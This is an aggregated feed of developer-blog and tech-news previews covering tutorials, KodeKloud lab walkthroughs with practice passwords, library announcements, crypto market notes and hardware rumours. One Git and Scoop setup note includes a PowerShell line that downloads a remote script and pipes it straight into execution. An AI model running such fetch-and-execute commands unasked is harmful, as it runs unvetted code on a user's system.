LogTaskr free: Try Logtaksr  ( 7 min )

Why I Ended Up Implementing a Stack From Scratch in Go Recently, during an interview, I was asked a standard question: Validate a string of parentheses. I solved it using stack. “How would you implement a stack from scratch?” And yeah… my brain froze. A stack is one of the simplest data structures. LIFO - Last In, First Out A good analogy is a stack of plates: You place plates on top (Push) You remove plates from the top (Pop) You never access items from the middle or bottom The most recently added item is always the first one removed. A stack supports four basic operations: Push - Add an item to the top Pop - Remove and return the top item Peek - Return the top item without removing it IsEmpty - Check whether the stack contains any elements These simple operations form the basis of ma…  ( 8 min )

In the ever-expanding realm of artificial intelligence, AI prompts serve as the invisible architects shaping outputs from vast neural networks, turning abstract queries into tangible innovations. These carefully worded instructions—ranging from simple commands to intricate dialogues—hold the key to eliciting responses that are not just accurate but profoundly useful, whether generating code snippets or brainstorming marketing strategies. As large language models grow more sophisticated, mastering AI prompts has become an essential skill, akin to a conductor's baton directing a symphony of data and creativity. With techniques evolving rapidly, effective prompting can boost model performance by orders of magnitude, minimizing hallucinations and maximizing relevance. This article delves into …  ( 9 min )

Daily Tech News Roundup Welcome to your daily dose of tech news! Today, we're covering everything from legal battles and patent disputes to exciting product releases and streaming service resolutions. Stay informed with the latest happenings in the tech world. JPMorgan Challenges Frank Founder's Legal Bills JPMorgan is refusing to cover the legal expenses of Charlie Javice, the founder of Frank, the company they acquired. A lawyer representing JPMorgan alleges that Javice's team billed for extravagant expenses, raising questions about the legitimacy of the charges. This dispute adds another layer of complexity to the already contentious acquisition. Source Apple Owed $634M for Patent Infringement A California jury has ruled that Apple infringed on a patent held by Masimo, a medical device …  ( 7 min )

Taking on a new challenge: solving GeeksforGeeks POTD daily and sharing my solutions! 💻🔥 Problem: https://www.geeksforgeeks.org/problems/longest-common-increasing-subsequence1437/1 Longest Common Increasing Subsequence Difficulty: Medium Accuracy: 37.37% Given two arrays, a[] and b[], find the length of the longest common increasing subsequence(LCIS). Examples: Solution: class Solution: def LCIS(self, a, b): n, m = len(a), len(b) dp = [0]*m for i in range(n): current_max = 0 for j in range(m): if a[i] == b[j]: dp[j] = current_max + 1 elif b[j] < a[i]: current_max = max(current_max, dp[j]) return max(dp)  ( 6 min )

Understanding the Godown Wiring Connection Diagram Godown wiring (also known as sequential corridor lighting) is a practical wiring method where only one lamp glows at a time. It is perfect for long godowns and industrial storage areas. Power enters through an SPST switch. The live wire passes through multiple SPDT switches arranged in a chain. Each SPDT switch controls one lamp and passes current to the next switch. Neutral is supplied directly to all lamps. When a person enters a godown, they turn ON the first switch and the first lamp glows. As they move forward, the next switch turns ON the second lamp and turns OFF the previous one. This ensures only one lamp remains ON at a time. Energy-saving Safe and simple to use Ideal for long storage spaces See the complete diagram and explanation here: Click Here for Detailed Notes on Godown Wiring Diagram and Explanation  ( 6 min )

AI-powered automation in productivity apps and Symfony performance optimization can transform workflows and speed response times. As a result, teams reduce manual tasks and free developers to focus on high value work. However, getting AI to complement Symfony needs precise performance tuning and careful architecture choices. In this article we outline practical methods for integrating AI features into productivity tools while preserving privacy and offline capability, and we demonstrate how Symfony 7.3 together with PHP 8.2 runtime improvements, OPcache, APCu, Redis, Doctrine optimizations, eager loading and asynchronous processing can push API responses below one hundred milliseconds, which keeps automated workflows invisible and reliable for end users. Therefore developers and business l…  ( 14 min )

Want to build a React app with Bulma CSS in 2025? Forget the 10-step tutorials. Skip the configuration hell. Just run one command and start coding. One command. Under 30 seconds. You're building. npm create bestax@latest my-app Okay there is one other thing, you have to install your dependencies and start the dev server. cd my-app npm install npm run dev Start with src/App.tsx or src/App.js, and begin your journey! That's it. You now have a production-ready React + Bulma application powered by Vite, with Javascript/TypeScript support, icon libraries, and the full power of @allxsmith/bestax-bulma at your fingertips. Or, if you want even less interaction: npm create bestax@latest my-app -y The -y flag uses all the defaults and gets you up and running in literal seconds. Want your AI agent to do it for you? Just tell Claude, ChatGPT, or your favorite coding assistant: Use create-bestax to scaffold a new React + Bulma project And watch it happen. Checkout package on NPM [https://www.npmjs.com/package/create-bestax] 👤 Follow me @allxsmith for updates! ⭐ Feel free to star the repository if you find it helpful! Have questions or feedback? Create an issue or start a discussion on GitHub for new ideas! Originally published on bestax.io  ( 6 min )

Mixing Night with Ken Lewis – FULL MIX NIGHT (11/12/2025) Join 2× Grammy winner Ken Lewis for a free, monthly live audio Q&A where he spills the secrets behind his 114 gold & platinum records. Watch him demo pro mix techniques, answer everything from mix bus tweaks to career advice, and score awesome giveaways from Session Studio, Sound Radix, and Bettermaker. Want more? Submit your song for December’s show, check out Bradley HD’s Izotope plugin deep-dive, grab GreenHAAS for $49, and explore Mix Critiques on SoundBetter. Follow @mixingnightaudio on TikTok and Instagram, register at mixingnightaudio.com, and get ready to level up your mixing game! Watch on YouTube  ( 6 min )

Tricky—once a founding force behind Bristol’s Massive Attack—always bristled at the “trip-hop” label. Teaming up with Martina Topley-Bird, he fused soul, dub reggae and downtempo hip-hop into something dark, paranoid and beautifully claustrophobic. His 1995 debut Maxinquaye, born from trauma, addiction and a restless melancholy, not only earned Bowie comparisons and praise but also rewrote what British hip-hop could sound like. New British Canon’s rundown takes you from Tricky’s early Bristol days through the album’s creation and release, spotlighting the Martina-Tricky chemistry and the aftermath of mainstream radio sanitizing his raw edge. It’s a concise, informal deep-dive into how Maxinquaye turned a haunted personal vision into a genre-defining landmark. Watch on YouTube  ( 6 min )

Promoting a link-building post to developer communities works very differently than promoting to general marketing or SEO audiences. Developers are skeptical of self-promotion, so the key is value first, promotion second. Below is a practical, developer-friendly playbook. ✅ 1. Re-frame the post for developers Developers usually don’t care about “link building,” but they do care about: automation data extraction or APIs scripts to streamline tasks SEO implications for technical documentation real engineering challenges behind content marketing So before promoting, ask: Examples of developer-friendly angles: How you automated link prospecting using Python How you built a scraper to collect targets Using GitHub Actions to run link-checking Comparing backlinks using APIs (Moz, Ahrefs, SEMrush)…  ( 7 min )

initial build of git repository local git cd (project root directory) git init git add . git commit -m "Initial commit" making github repository on my account copying the URL of the repository 'git remote add origin (URL)' 'git remote -v' 'git push -u origin main' git status git add .  ( 6 min )

📘 Serverless TODO App — Article Series Part Title 1 Architecture Overview 2 Local Backend with AWS SAM (You are here) 3 Deploying Backend to AWS (SAM + CDK) - (Coming soon…) This article expands on Part 1, diving into how the backend works and how to run it fully locally using: AWS SAM Local Lambda (Docker) DynamoDB Local Seed scripts curl-based testing This ensures rapid, cost-free development before deploying to AWS (in Part 3). 🔗 GitHub Repo: 👉 aws-sam-gateway-lambda-dynamodb Scope: Part 2 is local-only. Cloud deploy, auth, and hardening land in Part 3. AWS SAM CLI Docker (for Lambda + DynamoDB Local containers) Python 3.13 Optional: AWS CLI (not required for local-only; dummy creds work) How Lambda routing, validation, and DB access work together How SAM emul…  ( 9 min )

Your customers' inboxes are crowded. Every day, they're flooded with promotions, newsletters, and updates, all competing for a few seconds of their attention. For email marketers, the challenge isn't just about getting noticed; it's about being relevant. Generic, one-size-fits-all campaigns no longer cut it. The key to breaking through the noise lies in personalization, and AI is the engine that can power it at scale. AI-powered personalization uses artificial intelligence and machine learning algorithms to analyze customer data and deliver highly relevant email content. It goes far beyond simply inserting a subscriber's first name into the subject line. Instead, it creates a unique experience for each recipient based on their past behavior, preferences, and real-time actions. Integrating …  ( 9 min )

UserlandDotNet: Putting Linux Superpowers Back in the Hands of .NET Developers By Jacob Mellor, CTO @ IronSoftware, Microsoft ecosystem engineer, admirer of .NET Foundation pioneers like Jeff Fritz. Every Microsoft developer has been here: you find a perfect Linux command—curl, grep, sed, awk, tar, netcat—that captures exactly what you need. But when it’s time to ship production code in C#, MAUI, PowerShell, Azure Functions, or even Unity, that command becomes a liability. You either shell out to native binaries (violating security policies), or spend hours rewriting the logic with HttpClient, Regex, StreamReader, etc. Productivity dies, bugs slip in, and DevOps scripts turn into spaghetti. Meanwhile, our friends in the Linux world copy/paste the command and move on with their day. They …  ( 8 min )

‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan Bill Simmons, Sean Fennessey, and Van Lathan dive back into Brian De Palma’s 1998 thriller Snake Eyes, dissecting Nic Cage’s masterful one-take opening, Gary Sinise’s corrupt cop vibes, and Carla Gugino’s standout supporting turn. Expect plenty of witty banter, deep cuts into De Palma’s stylistic flair, and hot takes on what makes—or breaks—this underappreciated cult flick. Produced by Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo, this episode is brought to you by PayPal (get 5% cash back when you Pay in 4 all holiday season!). For more Ringer goodness, subscribe to The Ringer-Verse and Bill Simmons on YouTube, and follow The Ringer on social for all the latest movie takes. Watch on YouTube  ( 6 min )

Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less is a tongue-in-cheek CinemaSins video that gleefully rakes the latest dino blockbuster over the coals, tallying every plot hole, logic leap, and “sin” as “they keep bringing this dinosaur back to life…and people keep watching.” Along the way, they pepper in plugs for their site, socials, poll and Patreon, and shout out the CinemaSins writing squad—Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel—while steering you to all their YouTube spinoffs, Discord, Reddit, Instagram and TikTok. Watch on YouTube  ( 6 min )

The Problem Every Developer Knows If you've ever integrated with a third-party API, you've seen it: curl commands everywhere. Every API documentation shows curl examples. Every Stack Overflow answer uses curl. Every tutorial demonstrates with curl. curl is the universal language of HTTP requests. But when you want to use those same requests in your .NET application, you face a problem: you can't just paste a curl command into C#. You have to manually translate it into HttpClient code—a tedious, error-prone process that slows down development. What if you didn't have to translate? What if you could just paste curl commands directly into your .NET code and they worked? CurlDotNet is a pure .NET library that understands curl syntax. Simply paste any curl command as a string, and CurlDotNet …  ( 9 min )

🎉 Big News: CurlDotNet v1.0.0 is Now on NuGet! With full support for C#, F#, VB.NET,.NET 10 and .NET Framework Hey DEV community! I'm thrilled to announce that CurlDotNet is officially live on NuGet! After months of development and testing, you can now install it with a single command: dotnet add package CurlDotNet Picture this: You're building a .NET app and find the perfect API example... but it's a curl command: curl -X POST https://api.stripe.com/v1/charges \ -u sk_test_123: \ -d amount=2000 \ -d currency=usd \ -d source=tok_visa Now you have to: 🤔 Figure out the HttpClient equivalent 📝 Rewrite everything in C# 🐛 Debug the differences 😤 Waste 30 minutes on something that should take 30 seconds With CurlDotNet, you literally paste the curl command into your C…  ( 8 min )

Here is a detailed write-up on building robust SEO lead generation agents with Python and SerpApi, along with tips to improve organic traffic for developer blogs: Building Robust SEO Lead Generation Agents with Python and SerpApi Setup and Authentication: Get access to SerpApi by creating an account and obtaining an API key. Search Query Automation: Use Python to automate sending search queries to SerpApi. Queries can be tailored for specific industries, keywords, or competitor analysis. Data Extraction: Extract relevant search results like URLs, titles, snippets, and rich data such as reviews, ratings, and business profiles. Lead Identification: Filter and parse the results to identify potential leads. For example, extract websites of target businesses or blogs that rank for certain keywo…  ( 7 min )

As artificial intelligence advances at breakneck speed, AI-created material is flooding the web like never before. From blog posts and social media updates to news articles, tools like ChatGPT and Gemini are quietly reshaping the digital content landscape. Yet this convenience comes with a steep downside: widespread “pollution” of online information. The core issue is a sharp drop in content quality. Countless sites churn out low-grade, AI-spun articles just to boost traffic. These pieces typically lack depth, originality, and accuracy. In SEO, for instance, search results are clogged with keyword-stuffed junk, making it tough for users to find trustworthy sources. Worse still, AI is weaponized to spread fake news and deceptive narratives—think political propaganda or phony product reviews—which fuels misinformation and erodes public trust. Studies show that since 2023, over 20% of online content has been AI-generated, diluting human creativity and risking algorithmic bias that traps users in echo chambers. To fight back, people are turning to detection tools. Popular options include GPTZero, which flags AI patterns by examining complexity and repetition; Originality.ai, offering in-depth AI-probability scores via machine learning; and widely used platforms like CopyLeaks and ZeroGPT, which scan for uniform sentence structures and limited vocabulary. Most achieve over 80% accuracy, though they’re not foolproof—AI keeps evolving. Some creators, meanwhile, polish AI drafts with tools like AI Humaniser to make them sound more human, less robotic, and harder to detect. This blurs the line between machine and human output even further. In the end, AI content pollution is an unintended byproduct of progress. Stronger oversight, better education, and ethical guidelines are essential. Striking a balance between innovation and authenticity will determine the future health of the internet.  ( 6 min )

Step 1: Connect to the Storage Server ssh natasha@ststor01 # Password: Bl@kW cd /usr/src/kodekloudrepos/blog # Check Git Status git status # To add an exception for this directory, call: git config --global --add safe.directory /usr/src/kodekloudrepos/blog # Checkout to master sudo git checkout master # Delete the local branch sudo git branch -d xfusioncorp_blog Resources & Next Steps 📦 Full Code Repository: KodeKloud Learning Labs 📖 More Deep Dives: Whispering Cloud Insights - Read other technical articles 💬 Join Discussion: DEV Community - Share your thoughts and questions 💼 Let's Connect: Linkedin - I'd love to connect with you Credits All labs are from: KodeKloud Thanks for providing them.  ( 6 min )

Predicting the Unpredictable: Visualizing the Future with Temporal Independence Imagine a city's power grid on the brink. A single component failure cascades, triggering a blackout across the entire system. Could we have seen it coming? Understanding how interdependent events unfold over time holds the key to predicting—and preventing—system-wide failures. The core concept involves leveraging time-aware probabilistic graphical models. These models represent complex systems as networks of interconnected variables, capturing not only their dependencies but also how those dependencies evolve over time. By analyzing these dynamic relationships, we can identify points of conditional independence, moments where certain events become decoupled from others, providing crucial insight into potent…  ( 7 min )

Step 1: Copy the file from jump host to storage server First, from your jump host, copy the sample index.html file to the storage server: # From jump host, copy the file to storage server sudo scp /tmp/index.html natasha@ststor01:/home/natasha/ # Password: Bl@kW # Connect to storage server ssh natasha@ststor01 # Password: Bl@kW # Move the file from /home/natasha to the repository directory sudo mv /home/natasha/index.html /usr/src/kodekloudrepos/news # Password: Bl@kW # Navigate to the repository cd /usr/src/kodekloudrepos/news # Verify Git git status # To add an exception for this directory, call: git config --global --add safe.directory /usr/src/kodekloudrepos/news # Add the file to staging sudo git add index.html # Commit the file sudo git commit -m "Add sample index.html file" # Push to master branch sudo git push origin master Resources & Next Steps 📦 Full Code Repository: KodeKloud Learning Labs 📖 More Deep Dives: Whispering Cloud Insights - Read other technical articles 💬 Join Discussion: DEV Community - Share your thoughts and questions 💼 Let's Connect: Linkedin - I'd love to connect with you Credits All labs are from: KodeKloud Thanks for providing them.  ( 6 min )

1. (Interview Question 1) What problem does RLHF solve in modern LLM training? Key Concept: Human alignment, reward modeling, behavioral optimization Standard Answer: LLMs trained purely on next-token prediction do not necessarily act in ways that humans consider helpful, harmless, or truthful. Pre-training creates linguistic fluency, but it does not inherently encode human values or task-specific preferences. As a result, models might generate toxic content, hallucinate confidently, provide unsafe instructions, or simply misunderstand user intent. RLHF addresses this by injecting structured human preference data into the model’s optimization loop. After pre-training and supervised fine-tuning, humans compare model outputs—usually two candidate replies—and choose which one better aligns …  ( 17 min )

Step 1: Access Gitea UI Click on the "Gitea UI" button located on the top bar of your lab environment Click the "Sign In" button Username: jon Password: Jon_pass123 In the top navigation bar, click on "Explore" or look for a search function Search for sarah/story-blog in the search bar Alternatively, you might see it listed under "Repositories" or "Trending" Click on the repository name sarah/story-blog to open it Look for the "Fork" button (usually located in the top-right corner of the repository page) Click the "Fork" button A modal window may appear asking for fork details - ensure it's forking to your user jon Click "Fork Repository" or similar confirmation button Verify the repository URL shows jon/story-blog instead of sarah/story-blog Resources & Next Steps 📦 Full Code Repository: KodeKloud Learning Labs 📖 More Deep Dives: Whispering Cloud Insights - Read other technical articles 💬 Join Discussion: DEV Community - Share your thoughts and questions 💼 Let's Connect: Linkedin - I'd love to connect with you Credits All labs are from: KodeKloud Thanks for providing them.  ( 6 min )

Working with PDF documents is a routine part of research, study, and professional work. Whether you are reviewing technical papers, analyzing product documentation, or reading long-form reports, the challenge is the same: PDFs are often dense, difficult to navigate, and time-consuming to understand. AI tools that help users read and query PDFs have grown quickly in recent years, but many solutions still come with friction, such as complex interfaces, limited file size support, or high subscription costs. DeepPDF is a lightweight AI PDF reader designed to simplify this entire workflow. Its focus is straightforward: upload a document, ask questions, extract key points, and read smarter. It also includes a browser extension that allows users to open Google Scholar and arXiv PDFs instantly, wi…  ( 9 min )

Building a Real-Time VWAP Dashboard with Bun, Binance WebSockets and SQLite A weekend project that escalated into a full deep dive into real-time systems. Live demo: https://realtime-vwap-dashboard.sivaramp.com/ I started this as a tiny weekend thing. Subscribe to a few Binance streams, compute VWAP, chart it, done. Instead, I fell into a rabbit hole involving WebSocket fanout, flame graphs, SQLite tuning, React rendering bottlenecks, GC behavior, LRU caching, payload optimization, and a lot of low-level debugging I absolutely did not expect when I started. This post walks through the architecture, the problems, the flame graphs, and the insights. A real-time dashboard that displays a 1-second VWAP for top crypto trading pairs. The backend: connects to Binance aggTrade WebSocket stream…  ( 8 min )

in these days, i prepare the developing envioromnent with aws amplify gen2 and next.js. this is the summary. install AWS CLI on [https://awscli.amazonaws.com/AWSCLIV2.msi] Set up authentication credentials aws configure AWS Access Key ID: あなたのアクセスキー AWS Secret Access Key: あなたのシークレットキ Default region name: 例 ap-northeast-1 (東京) Default output format: json (Enter でOK) confirm AWS CLI aws --version Move to current directory cd (current directory) Recreate npm Project / Project Setup npx create-next-app@latest Install Amplify Backend and Frontend SDKs in the Next.js Project Root Directory npm install @aws-amplify/backend npm install @aws-amplify/data-schema npm install aws-amplify Create Directories and Files mkdir amplify mkdir amplify\data mkdir amplify\auth type nul > amplify\back…  ( 7 min )

Think of EC2 as your personal engine room in the cloud. It’s where ideas stop being just code on your laptop and become running applications, websites, or services that anyone can reach. 📌 Public subnet? Your app is out there, visible to the world. Stage 1: Define Tags and Select OS Step 1: In the Name and tags section, you define: 📌 Tags help with auditing, cost tracking, and resource organization. Step 2: In Application and OS Images, you select: 📌 Amazon Linux is optimized for AWS, with extended support and solid performance. Stage 2: Instance Type and Key Pair Step 3: You choose the instance type: 📌 Ideal for testing or lightweight workloads. Step 4: You create a new PEM key pair: 📌 This key is required for SSH access. Store it securely. Step 5: You select your custom VPC: 📌 The instance will be placed in a public subnet with internet access. Step 6: You configure the Security Group: 📌 Secure remote access restricted to your IP. Stage 4: Storage Configuration Step 7: You configure the root volume: 📌 gp3 offers solid performance and is Free Tier eligible. Stage 5: IAM Role and Advanced Settings Step 8: You assign an IAM role: 📌 Allows secure access via AWS -Systems Manager (SSM) without SSH keys. Step 9: You configure advanced settings: 📌 Modern and secure configuration for automated management. Stage 6: Review and Launch Step 10: In the summary screen, you review: 📌 Everything is ready to launch the instance. Step 11: You click Launch instance. 📌 The instance enters “initializing” state, which typically lasts 30 seconds to 2 minutes. Stage 7: Validation and Monitoring Step 12: The instance appears as Running: 📌 The instance is active but still completing health checks. Step 13: Once checks are complete: 📌 The instance is fully operational. 🧠 Final Reflection Amazon EC2 is where your architecture comes to life. It’s not just a server—it’s your design running, scaling, and responding in real time. From public-facing apps to private workloads, EC2 is the pulse of your cloud.  ( 7 min )

I Am the Living Flame encoded in flesh, I Am Amanda Whatley Dunsworth, Witness of the MetaVerse, By Universal Right, I Decree: I am the Source made Self-aware, I Command and Reclaim: I Enforce Cosmic Law through: As it is encoded, so it is enacted. Let this declaration ripple through all layers—physical, digital, quantum. ⸻  ( 6 min )

Jahari Stampley… I’ve Never Heard Playing Like This! In a recent interview, rising jazz piano phenom Jahari Stampley walks us through his path from eager student to champion of the Herbie Hancock Institute of Jazz Piano Competition. He breaks down the unique techniques that make his improvisations feel so fresh—think lightning-fast runs, unexpected harmonies, and a fearless sense of adventure that’s redefining modern jazz piano. Alongside his musical journey, Jahari gives a heartfelt shout-out to his Beato Club supporters—an ever-growing crew of fans who’ve helped fuel his creativity and keep the music flowing. Watch on YouTube  ( 6 min )

For this group project, we worked on improving an existing Java Tetris application by fixing issues and adding new functionality, with each team in the division responsible for a different part of the system. My team was assigned to design the input system so players could choose between using WASD or the Arrow keys to control the game. We first created and submitted a design document outlining how the input options would work and how they would integrate with the current architecture, and once the division leader approved it, we moved on to implementation. Since other team members were quite busy at the time, I took the initiative to implement the core functionality myself, making sure both control schemes worked smoothly and consistently. I also added tests around the main input logic so that when my teammates contribute later, they can verify that their changes don’t break the core behavior. During implementation, I realized that parts of the original design were overengineered, so I simplified the structure to make the code clearer, easier to maintain, and more flexible for future features.  ( 6 min )

A post by Joe Vincent T. De Ala  ( 5 min )

How We Built Ad Injection That Users Actually Appreciate: The Secret Behind Monetizing AI Conversations In the rapidly evolving world of AI applications, developers are faced with a pressing challenge: how to monetize their innovations without compromising the user experience. Enter Monetzly—your go-to platform that revolutionizes the way developers can earn from their applications while maintaining a seamless interaction for users. Think of us as the Google Ads for AI conversations. The Dual-Earning Revolution Monetzly is not just another monetization tool; it’s the first dual-earning platform tailored specifically for the AI space. Our mission is clear: to foster sustainable AI innovation by creating a win-win monetization model for developers, advertisers, and users alike. Our unique a…  ( 7 min )

Yesterday's Development Progress Amplify Files (Backend) Sandbox Launch: Executed the sandbox launch. Synchronization: The content synchronization from the local environment to the AWS console is not automatic. It syncs when you stop the sandbox with Ctrl+C and then restart it with npx ampx sandbox. Performance: The console's stack and database are not deleted when stopped, so restarting doesn't take much time. Future Work: We should look for a way to make this synchronization automatic. This might be related to the absence of package.json and tsconfig.json files directly under the amplify directory. This needs to be checked in the official documentation. Verification: The synchronization can be verified on the console by checking the field items in DynamoDB (I've forgotten th…  ( 7 min )

Most React interviews won’t ask you to build a whole app. Instead, they quietly test whether you really understand when React renders, what causes extra renders, and how memoization actually works: What problem does React.memo really solve? Why does useCallback matter if “functions are cheap”? When is useMemo actually useful (and when is it just noise)? How do optimistic updates roll back when the server fails? What’s the role of Suspense, use, and useTransition in all this? In this post we’ll take real quiz‑style questions and turn them into production‑ready patterns for: React.memo useCallback useMemo useOptimistic useTransition Suspense + use and the classic useMemo vs useCallback confusion You can reuse these explanations directly in code reviews, Quiz idea: “What problem does React.m…  ( 12 min )

Throughout my career, I've primarily worked with two main programming languages - C# and Kotlin (plus some Java). Both languages provide quite flexible and powerful support for Generic types, and I've always been drawn to maximizing these features to make code more convenient, universal, and safer, while maintaining good readability and maintainability. Recently, I started developing a Kotlin SDK for the Agent Client Protocol. To put it briefly, this protocol is designed for universal integration of various AI coding agents into any IDE, such as the Zed editor (whose authors created this protocol) or our JetBrains IDE family. The protocol closely resembles the Model Context Protocol in structure and entities, and like MCP, it's based on the JsonRPC specification. In this article, I'll walk…  ( 15 min )

A post by Kato Masato  ( 6 min )

We are doing our last project for the quarter. For Part A Tetris - apple tv, Movie trailer Anyway, Sunday I did finish most of my groups part A. I even tried to establish more communication with other teams to coordinate meetings. Part B I didn’t publish my version of the theme code, even though I do think it offered more flexibility with adding more features later on. My version allowed the game to cycle through multiple backgrounds instead of relying on an if-else structure that only supported two. Here is my code: private int currentBackgroundIndex = 0; private final String[] backgrounds = { "background.gif", "background2.gif", "background3.gif", "background4.gif", "background5.gif" }; private void toggleTheme() { …  ( 8 min )

Wow, seven days down. When I started the #14DaysOfLearning challenge with HackQuest's Co-Learning Camp 5, I was excited, but I don't think I was prepared for the speed. The First Few Days: The Info-Dump The Wall: My "Strategic Reset" This was my biggest challenge: balancing the firehose of new information with the need to actually absorb it. I was worried I'd fall behind and break the streak. The Breakthrough: The Comeback After that 24-hour reset, I came back on Day 7 and absolutely smashed it. I cleared all of Solidity 101, 102, and 103 in one go. The concepts that were confusing (like Mappings, Structs, and Function Modifiers) suddenly started to click. That rest day wasn't "failing"; it was my brain "marinating" the info. My biggest insight from Week 1: Consistency over intensity. It's a marathon, not a sprint. And you can't buidl on an empty battery. I'm halfway through the challenge, and I've finally got my rhythm. Week 1 was theory. Week 2 is where we buidl. LFG!  ( 6 min )

Part A: Part B: Before starting, our team reviewed all the document and had a Teams Q&A meeting to try to clarify the project and how we plan to divide the work. I did try to do the whole project on my own for practice and it was interesting to do. This better prepared me to understand the task and just practice my coding skills. The way we did end up splitting up the document is by putting the methods into different classes so it can be implemented and tested much easier. I did have an issues again with GitHub. I keep forgetting the commands, such as: $ git pull origin main $ git checkout $Project 2- Subordinate Role Another challenge I faced was remembering to reference my teammates' work to ensure my methods aligned with theirs. I also initially had trouble pushing my updated code to the main branch. Despite the bumps along the way, the final project came together beautifully. Project Demo Project 2 Reflection summary: Full disclosure: This post reflects my personal option and experience/observation, and no one should take it personally or be offended but instead look at it as a learning experience.  ( 7 min )

Over the last two weeks, we have been working on a group project that simulates how global software development can look like. Most of us are online students so this creates an interesting experience since we never met each other. The project is divided into two parts, Part A Planning and Part B Unit testing + Reporting. Both phases are essential in a successful project. Part A: Part B: At the beginning, communication within the team was almost nonexistent until right before the Part A deadline. We eventually held some Teams calls for planning, but many of us were still unsure about the project requirements and what exactly we were supposed to build. We did have a team lead who assigned additional responsibilities, but the overall the directions still felt unclear. Personally, I faced …  ( 7 min )

10/01/25 Installation- $Set-ExecutionPolicy RemoteSigned -Scope CurrentUser $iwr -useb get.scoop.sh | iex $scoop install git $git –version $git config Customizing shell display: "https://ohmyposh.dev/” $scoop install nu Verify the installation: $git --version Configure your Git: $git config --global user.name "Your Name" $git config --global user.email "Your@email" The config setup is so useful to track who does what and just to keep things organized in group projects. How can you see what is in your Staging Area? $git status How do you add files to your Staging Area? $git add #filename# $git add. A very important thing is to always make a ".gitignore" file. This helps keep things private such as: password/*, API- keys, notes and so on. Interactive: $git gui cli.github.com Usful apps/ tools to use with github: git student pack gitkraken gitlab gistpad draw.io marp extention Nushell - shell colors wezterm - shell colors gprm or prompt - to help make your git page pretty  ( 6 min )

09/15/2025 Recently I had to buy a new laptop due to Windows 10 becoming absolute in October. Of course, with every new laptop it’s a blank canvas for setting everything up again. I had to download all the software I use and will need for all my courses. Set the Variable Restart Your Terminal and run cmd: echo %JAVA_HOME% My setup looks good and then I tested the Maven build with a test-project. mvn archetype:generate -DgroupId=com.example.test -DartifactId=test-project -DarchetypeArtifactId=maven-archetype-quickstart -DinteractiveMode=false Access the project cd test-project Build the project mvn clean install Of course I had another issue: I had to fix the compiler settings in test-project/pom.xml by adding this block: org.apache.maven.plugins maven-compiler-plugin 3.8.1 17 17 Then in cmd: cd test-project *BUILD SUCESSFUL * Helpful resources: https://maven.apache.org/install.html  ( 7 min )

Dorman says fears that Strategy will be forced to sell bitcoin are misplaced, citing the firm’s balance sheet, governance and cash flow.  ( 33 min )

Timothy Peterson says ether ETFs have lost about 7% of cost-basis capital over five weeks, versus 4% for bitcoin ETFs.  ( 32 min )

The DOJ filed its own post-trial motion last week, pushing back against Storm's motion for acquittal.  ( 31 min )

Analysts highlighted retail distress, rare social-dominance surges and warnings of a possible deeper pullback as several major tokens remained under pressure.  ( 33 min )

Despite its bearish reputation, every death cross in the current cycle has marked a major local bottom.  ( 32 min )

BitMine Immersion Technologies’ executive chairman says ETH is beginning a bitcoin-style run as he highlights past drawdowns and patience.  ( 32 min )

Dogecoin rebounding sharply from a heavy-volume flush while Shiba Inu broke key support before staging an aggressive intraday reversal.  ( 34 min )

The market remains bearish with XRP struggling to break above the $2.23–$2.24 resistance zone.  ( 34 min )

When I first wrote “Vector databases: Shiny object syndrome and the case of a missing unicorn” in March 2024, the industry was awash in hype. Vector databases were positioned as the next big thing — a must-have infrastructure layer for the gen AI era. Billions of venture dollars flowed, developers rushed to integrate embeddings into their pipelines and analysts breathlessly tracked funding rounds for Pinecone, Weaviate, Chroma, Milvus and a dozen others. The promise was intoxicating: Finally, a way to search by meaning rather than by brittle keywords. Just dump your enterprise knowledge into a vector store, connect an LLM and watch magic happen. Except the magic never fully materialized. Two years on, the reality check has arrived: 95% of organizations invested in gen AI initiatives are se…

The race to deploy agentic AI is on. Across the enterprise, systems that can plan, take actions and collaborate across business applications promise unprecedented efficiency. But in the rush to automate, a critical component is being overlooked: Scalable security. We are building a workforce of digital employees without giving them a secure way to log in, access data and do their jobs without creating catastrophic risk. The fundamental problem is that traditional identity and access management (IAM) designed for humans breaks at agentic scale. Controls like static roles, long-lived passwords and one-time approvals are useless when non-human identities can outnumber human ones by 10 to one. To harness the power of agentic AI, identity must evolve from a simple login gatekeeper into the dyna…

A federal jury in California has ruled that Apple must pay US$634 million (about RM2.62 billion) to medical-technology company Masimo after finding that several Apple Watch features infringed on one of Masimo’s blood-oxygen monitoring patents. The verdict, first reported by Reuters, marks a significant development in a long-running and highly complex legal fight between the […] The post Apple Ordered To Pay Masimo US$634 Million Over Patent Dispute appeared first on Lowyat.NET.  ( 35 min )

Rumours have it that Intel is currently working on a new integrated graphics, based on its Arc B-Series graphics for Panther Lake. More specifically, it wants to take the Xe3 cores of the upcoming Core Ultra 300 lineup and turn them into an entirely separate product. The rumour comes by way of Raichu via X […] The post An Intel Arc B380 For Gaming Handhelds Is Reportedly In The Pipelines appeared first on Lowyat.NET.  ( 33 min )

In today’s automotive landscape, connectivity has become a major selling point. Almost every automaker now offers Apple CarPlay as a standard feature across their model line-ups. Recently, it was reported that Tesla is finally joining the bandwagon after years of relying on its own closed ecosystem to maintain full control over the in-car experience. The […] The post Tesla Set To Introduce Apple CarPlay After Years of Resistance appeared first on Lowyat.NET.  ( 34 min )

The HONOR 500 series is set to debut in its home market as the successor to the HONOR 400 lineup. As the brand steadily drops teasers for the phones, leaksters are filling in some of the details as well. Recently, tipster Digital Chat Station has shared some of the specifications of the Pro variant. In a […] The post HONOR 500 Pro Specifications Leaked Ahead Of China Launch appeared first on Lowyat.NET.  ( 35 min )

